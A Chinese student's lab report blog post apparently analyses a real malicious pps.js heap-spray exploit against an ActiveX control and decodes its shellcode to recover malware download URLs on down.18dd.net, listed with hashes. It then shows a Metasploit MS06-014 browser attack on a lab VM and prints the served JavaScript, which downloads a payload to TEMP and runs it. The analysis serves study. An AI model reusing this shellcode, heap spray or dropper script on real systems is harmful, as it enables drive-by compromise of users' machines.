http://aa.18dd.net/aa/pps.js 5F0B8BF0385314DBE0E5EC95E6ABEDC2
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

通过对

关于javascript的unescape函数的学习,可知b.js和pps.js文件里面.exe文件下载的部分代码为"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065

这里通过对其他同学博客学习,使用了一个c语言程序

 

 

计算可得 http://down.18dd.net/bb/bf.exehttp://down.18dd.net/bb/pps.exe

最后,解压bd.cab,可得bd.exe

文件地址MD5
http://down.18dd.net/bb/014.exe ca4e4a1730b0f69a9b94393d9443b979
http://down.18dd.net/bb/bf.exe 268cbd59fbed235f6cf6b41b92b03f8e
http://down.18dd.net/bb/pps.exe ff59b3b8961f502289c1b4df8c37e2a4

计算MD5值,发现数值相同相同,均为1290ecd734d68d52318ea9016dc6fe63 

 

 选择bd.exe文件分析,使用超级巡警进行脱壳

 

 作者是Borland Delphi

用IDA进行反编译,发现了20个用于下载exe文件的链接

 

 

 

 使用电脑的杀毒软件进行扫描所有的exe文件,发现了不同的病毒类型

 

 Worm/Autorun.rpps.exe bf.exe bd.cab蠕虫病毒
HVM:Trojan/Injector.gen!A1.exe木马病毒

(3)Web浏览器渗透攻击攻防

虚拟机仍为第一次实验所用两个虚拟机

 

设置好具体的攻击参数之后,使用命令run开启攻击

 

 将该网址以邮件的形式发给靶机使用者,靶机点击邮件内链接

 

 攻击成功

 

在靶机看网页源代码

 

 

 

 使用在线html格式化压缩工具压缩

function FOZNSUqAVhL(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)} function DJXqZATTf(a){var s=FOZNSUqAVhL(a,"WScript.Shell");var o=FOZNSUqAVhL(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\EONVFedsZYIKzToBkkd.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)} function LzcycrnCHeqNYnWQOikD(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=FOZNSUqAVhL(a,"WScript.Shell");if(b){DJXqZATTf(a);return(0)}}catch(e){}}i++}}

可以看到EONVFedsZYIKzToBkkd.exe可执行文件,即MS06-014漏洞的相关信息

3、遇到的问题

开始时始终ping不同,将模式改为nat模式,解决

 

 
posted @ 2022-05-28 17:57  20212805  阅读(33)  评论(0编辑  收藏  举报